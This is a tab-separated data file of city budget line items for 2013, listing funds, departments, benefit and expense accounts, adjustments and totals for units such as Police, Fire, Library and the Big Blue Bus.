1465	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511748.0	DENTAL	806.0	Salaries and Wages	2013	163526.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	163526.0
1466	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511749.0	VISION	804.0	Salaries and Wages	2013	1218.0	0	0.0	0.0	0	0	0.0	65	0.0	0	0	0.0	1283.0
1467	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511749.0	VISION	804.0	Salaries and Wages	2013	1095.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1095.0
1468	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2013	2848.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2848.0
1469	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2013	69.0	0	0.0	0.0	0	0	0.0	1	0.0	0	0	0.0	70.0
1470	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511748.0	DENTAL	816.0	Salaries and Wages	2013	7630.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7630.0
1471	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511748.0	DENTAL	808.0	Salaries and Wages	2013	29031.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29031.0
1472	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511748.0	DENTAL	810.0	Salaries and Wages	2013	5608.0	0	0.0	1800.0	0	0	0.0	561	0.0	0	0	0.0	7969.0
1473	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2013	19542.0	0	0.0	-900.0	0	0	0.0	0	0.0	0	0	0.0	18642.0
1474	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	401662.0	ASSFC PASS-THRU	662.0	Other	2013	-200000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-200000.0
1475	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	6765.0	0	0.0	0.0	0	0	0.0	68	0.0	0	0	0.0	6833.0
1476	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2013	8577.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8577.0
1477	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2013	1499.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1499.0
1478	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511748.0	DENTAL	808.0	Salaries and Wages	2013	70469.0	0	0.0	1122.0	-1122	0	0.0	0	0.0	0	0	0.0	70469.0
1479	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		EAP	808.0	Salaries and Wages	2013	815.0	0	0.0	0.0	0	0	0.0	-89	0.0	0	0	0.0	726.0
1480	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		EAP	808.0	Salaries and Wages	2013	1458.0	0	0.0	0.0	0	0	0.0	-5	0.0	0	0	0.0	1453.0
1481	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2013	3216.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3216.0
1482	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2013	1224.0	72	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1296.0
1483	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		EAP	808.0	Salaries and Wages	2013	3334.0	-104	0.0	0.0	0	0	0.0	-270	0.0	0	0	0.0	2960.0
1484	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	8966.0	-115	0.0	0.0	0	0	0.0	182	0.0	0	0	0.0	9033.0
1485	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	7044.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7044.0
1486	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2013	9060.0	0	0.0	0.0	0	0	0.0	461	0.0	0	0	0.0	9521.0
1487	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511749.0	VISION	840.0	Salaries and Wages	2013	1067.0	0	0.0	0.0	0	0	0.0	-115	0.0	0	0	0.0	952.0
1488	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511748.0	DENTAL	840.0	Salaries and Wages	2013	14134.0	0	0.0	0.0	0	0	0.0	-290	0.0	0	0	0.0	13844.0
1489	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2013	316033.0	0	0.0	0.0	0	0	0.0	-521	0.0	0	0	0.0	315512.0
1490	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2013	29547.0	1738	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	31285.0
1491	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2013	50269.0	-1738	0.0	0.0	0	0	0.0	871	0.0	0	0	0.0	49402.0
1492	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511749.0	VISION	840.0	Salaries and Wages	2013	4294.0	-137	0.0	0.0	0	0	0.0	-279	0.0	0	0	0.0	3878.0
1493	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522115.0	UTIL-LIGHT/POWER-LIBRARY PARKI	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	85545	0	0.0	85545.0
1494	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
1495	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2013	18154.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18154.0
1496	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	8791.0	0	0.0	0.0	0	0	0.0	88	0.0	0	0	0.0	8879.0
1497	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	4053.0	0	0.0	0.0	0	0	0.0	41	0.0	0	0	0.0	4094.0
1498	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2013	19329.0	0	0.0	0.0	0	0	0.0	-1647	0.0	364	0	0.0	18046.0
1499	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	10773.0	0	0.0	0.0	0	0	0.0	108	0.0	0	0	0.0	10881.0
1500	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	47214.0	0	0.0	0.0	0	0	0.0	561	0.0	0	0	0.0	47775.0
1501	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2013	576.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	576.0
1502	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2013	626.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	626.0
1503	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	1017.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1017.0
1504	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	4557.0	0	0.0	0.0	0	0	0.0	46	0.0	0	0	0.0	4603.0
1505	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		UNEMPLOYMENT	812.0	Salaries and Wages	2013	5271.0	0	0.0	0.0	0	0	0.0	-344	0.0	0	0	0.0	4927.0
1506	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		DISABILITY INSURANCE	812.0	Salaries and Wages	2013	7866.0	0	0.0	0.0	0	0	0.0	-531	0.0	0	0	0.0	7335.0
1507	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		DISABILITY INSURANCE	812.0	Salaries and Wages	2013	12137.0	0	0.0	0.0	0	0	0.0	-29	0.0	0	0	0.0	12108.0
1508	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2013	8096.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8096.0
1509	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		DCAP	816.0	Salaries and Wages	2013	924.0	0	0.0	0.0	0	0	0.0	-108	0.0	17	0	0.0	833.0
1510	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		DCAP	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	564	0	0.0	564.0
1511	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2013	27157.0	0	0.0	0.0	0	0	0.0	272	0.0	0	0	0.0	27429.0
1512	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2013	36625.0	0	0.0	0.0	0	0	0.0	366	0.0	0	0	0.0	36991.0
1513	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		DISABILITY INSURANCE	806.0	Salaries and Wages	2013	8637.0	0	0.0	0.0	0	0	0.0	86	0.0	0	0	0.0	8723.0
1514	B1	IS	1	General Fund	310	FIRE	315	TRAINING		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2013	344.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	344.0
1515	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EAP	808.0	Salaries and Wages	2013	8248.0	0	0.0	104.0	-104	0	0.0	0	0.0	0	0	0.0	8248.0
1516	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		DCAP		Salaries and Wages	2013	504.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	504.0
1517	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	2387.0	0	0.0	0.0	0	0	0.0	-372	0.0	0	0	0.0	2015.0
1518	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	5333.0	0	0.0	0.0	0	0	0.0	-528	0.0	0	0	0.0	4805.0
1519	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	3701.0	0	0.0	0.0	0	0	0.0	98	0.0	0	0	0.0	3799.0
1520	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2013	1155.0	0	0.0	0.0	0	0	0.0	33	0.0	0	0	0.0	1188.0
1521	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	19358.0	-610	0.0	0.0	0	0	0.0	-1220	0.0	0	0	0.0	17528.0
1522	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		EAP	808.0	Salaries and Wages	2013	30272.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30272.0
1523	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522620.0	RENT	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	56903	0	0.0	56903.0
1524	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	307199.0	87032	0.0	0.0	0	0	0.0	173225	0.0	0	0	0.0	567456.0
1525	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	544111.0	PROMOTIONAL ITEMS		 Supplies and Expenses	2013	6250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6250.0
1526	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522134.0	UTIL-WATER-PARKING AUTH	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	46577	0	0.0	46577.0
1527	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	8800	0	0.0	8800.0
1528	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404090.0	LEASE RENTAL REVENUE	662.0	Other	2013	-1715915.0	0	-40800.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1756715.0
1529	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405820.0	PROP C - BSIP	658.0	Sales Tax	2013	-738165.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-738165.0
1530	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	566910.0	MAINTENANCE-PARKING FACILITIES	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	117360	0	0.0	117360.0
1531	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2013	875094.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	875094.0
1532	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2013	51619.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	51619.0
1533	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407410.0	CONSTRUCTION & DEMOLITION	650.0	Charges for Service	2013	-35000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35000.0
1534	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400400.0	FIELD CONCESSION & STORAGE	612.0	Charges for Service	2013	-18247.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-18247.0
1535	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	407550.0	FIRE COMMERCIAL INSPECT FEES	612.0	Charges for Service	2013	-914000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-914000.0
1536	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522961.0	FUEL-SERVICE VEHICLES		 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
1537	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	606252.0	0	0.0	0.0	0	0	0.0	6063	0.0	0	0	0.0	612315.0
1538	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	2234.0	0	0.0	0.0	0	0	0.0	1804	0.0	0	0	0.0	4038.0
1539	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2013	6023.0	0	0.0	0.0	0	0	0.0	60	0.0	0	0	0.0	6083.0
1540	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	575619.0	0	0.0	0.0	0	0	0.0	5756	0.0	0	0	0.0	581375.0
1541	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2013	4938.0	0	0.0	0.0	0	0	0.0	49	0.0	0	0	0.0	4987.0
1542	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	11623.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11623.0
1543	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2013	22970.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22970.0
1544	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	1686.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1686.0
1545	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	1647	0	0.0	1647.0
1546	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		EAP	806.0	Salaries and Wages	2013	1244.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1244.0
1547	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		DCAP	806.0	Salaries and Wages	2013	840.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	840.0
1548	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2013	9955.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9955.0
1549	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		UNEMPLOYMENT	806.0	Salaries and Wages	2013	77114.0	0	0.0	0.0	0	0	0.0	771	0.0	0	0	0.0	77885.0
1550	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		UNEMPLOYMENT	806.0	Salaries and Wages	2013	10566.0	0	0.0	0.0	0	0	0.0	106	0.0	0	0	0.0	10672.0
1551	B1	IS	1	General Fund	310	FIRE	315	TRAINING		EAP	806.0	Salaries and Wages	2013	209.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	209.0
1552	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		LIFE INSURANCE & AD & D	840.0	Salaries and Wages	2013	9913.0	0	0.0	75.0	0	0	0.0	0	0.0	0	0	0.0	9988.0
1553	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		UNEMPLOYMENT	808.0	Salaries and Wages	2013	26398.0	0	0.0	319.0	-319	0	0.0	264	0.0	0	0	0.0	26662.0
1554	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		DCAP	840.0	Salaries and Wages	2013	1536.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1536.0
1555	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	6028.0	0	0.0	0.0	0	0	0.0	-112	0.0	0	0	0.0	5916.0
1556	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		DCAP	808.0	Salaries and Wages	2013	553.0	0	0.0	0.0	0	0	0.0	-61	0.0	0	0	0.0	492.0
1557	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		DCAP	808.0	Salaries and Wages	2013	1000.0	0	0.0	0.0	0	0	0.0	-16	0.0	0	0	0.0	984.0
1558	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2013	1775.0	104	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1879.0
1559	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511749.0	VISION	840.0	Salaries and Wages	2013	714.0	0	0.0	0.0	0	0	0.0	33	0.0	0	0	0.0	747.0
1560	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2013	181939.0	0	0.0	0.0	0	0	0.0	-13181	0.0	0	0	0.0	168758.0
1561	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2013	24307.0	0	0.0	0.0	0	0	0.0	-50	0.0	0	0	0.0	24257.0
1562	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	128772.0	0	0.0	0.0	0	0	0.0	-10700	0.0	0	0	0.0	118072.0
1563	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	267841.0	0	0.0	0.0	0	0	0.0	1152	0.0	0	0	0.0	268993.0
1564	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	627265.0	0	0.0	0.0	0	0	0.0	6273	0.0	0	0	0.0	633538.0
1565	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	671	ALL OTHER TRANSACTIONS	403950.0	EPA WATER SYS IMPROV GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-117802.52	0	0	0.0	-117802.52
1566	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544360.0	ELECTRONIC RESOURCES	812.0	 Supplies and Expenses	2013	237630.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	237630.0
1567	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2013	664.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	664.0
1568	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2013	324.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	324.0
1569	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	2709.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2709.0
1570	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561404.0	PROJECT HOMECOMING		 Supplies and Expenses	2013	35000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35000.0
1571	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403830.0	SUPPORTIVE HOUSING PROGRAM GR	610.0	Intergovernmental	2013	-389215.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-389215.0
1572	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2013	1369.0	0	0.0	-320.0	0	0	0.0	10	0.0	0	0	0.0	1059.0
1573	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2013	309.0	0	0.0	-100.0	0	0	0.0	0	0.0	0	0	0.0	209.0
1574	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	36387.0	0	0.0	-10000.0	0	0	0.0	0	0.0	0	0	0.0	26387.0
1575	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2013	309.0	0	0.0	-100.0	0	0	0.0	0	0.0	0	0	0.0	209.0
1576	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577960.0	ARTS TRANSFER	910.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	100000	0.0	0	0	0.0	100000.0
1577	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	406000.0	ESTIMATED FEE INCREASES	650.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1578	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	401801.0	PROCEEDS	622.0	Other	2013	-60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-60000.0
1579	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	6952.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6952.0
1580	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511749.0	VISION	804.0	Salaries and Wages	2013	548.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	548.0
1581	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	3416.0	0	0.0	0.0	0	0	0.0	34	0.0	0	0	0.0	3450.0
1582	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	4460.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4460.0
1583	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522620.0	RENT	804.0	 Supplies and Expenses	2013	45712.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45712.0
1584	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	5290.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5290.0
1585	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	19030.0	0	0.0	0.0	0	0	0.0	190	0.0	0	0	0.0	19220.0
